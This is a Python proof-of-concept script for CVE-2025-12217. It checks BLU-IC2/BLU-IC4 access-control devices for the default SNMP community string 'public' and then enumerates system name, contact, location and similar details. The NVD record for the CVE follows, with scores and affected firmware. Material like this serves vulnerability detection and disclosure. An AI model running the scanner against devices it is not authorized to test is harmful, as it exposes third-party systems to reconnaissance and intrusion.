CVE-2025-12217

# CVE-2025-12217 PoC - SNMP Default Community String Detection # Target: BLU-IC2/BLU-IC4 devices with default SNMP community string 'public' # Author: Security Research # Reference: CVE-2025-12217 import socket import sys from pysnmp.hlapi import * def check_snmp_default_community(target_ip, community_string='public', port=161): """ Check if target has SNMP service with default community string """ try: # SNMP GET request for system description (1.3.6.1.2.1.1.1.0) iterator = getCmd( SnmpEngine(), CommunityData(community_string, mpModel=0), UdpTransportTarget((target_ip, port), timeout=5, retries=2), ContextData(), ObjectType(ObjectIdentity('1.3.6.1.2.1.1.1.0')) ) errorIndication, errorStatus, errorIndex, varBinds = next(iterator) if errorIndication: print(f"[-] SNMP request failed: {errorIndication}") return False elif errorStatus: print(f"[-] SNMP error: {errorStatus.prettyPrint()}") return False else: for varBind in varBinds: print(f"[+] VULNERABLE: {target_ip} - SNMP with community '{community_string}'") print(f"[+] System Info: {varBind[1]}") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def enumerate_snmp_info(target_ip, community_string='public'): """ Enumerate sensitive information using SNMP """ oid_list = [ ('1.3.6.1.2.1.1.1.0', 'System Description'), ('1.3.6.1.2.1.1.2.0', 'System Object ID'), ('1.3.6.1.2.1.1.3.0', 'System Uptime'), ('1.3.6.1.2.1.1.4.0', 'Contact Information'), ('1.3.6.1.2.1.1.5.0', 'System Name'), ('1.3.6.1.2.1.1.6.0', 'Location'), ] print(f"\n[*] Enumerating information from {target_ip}...") for oid, description in oid_list: try: iterator = getCmd( SnmpEngine(), CommunityData(community_string, mpModel=0), UdpTransportTarget((target_ip, 161), timeout=5), ContextData(), ObjectType(ObjectIdentity(oid)) ) errorIndication, errorStatus, errorIndex, varBinds = next(iterator) if not errorIndication and varBinds: print(f"[+] {description}: {varBinds[0][1]}") except: pass if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve_2025_12217_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-12217 - SNMP Default Community String Check") print(f"[*] Target: {target}\n") if check_snmp_default_community(target, 'public'): enumerate_snmp_info(target, 'public') print("\n[!] Target is vulnerable to CVE-2025-12217")

{"cve": {"id": "CVE-2025-12217", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-25T16:15:40.243", "lastModified": "2025-11-10T15:03:28.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SNMP Default Community String (public).This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1392"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}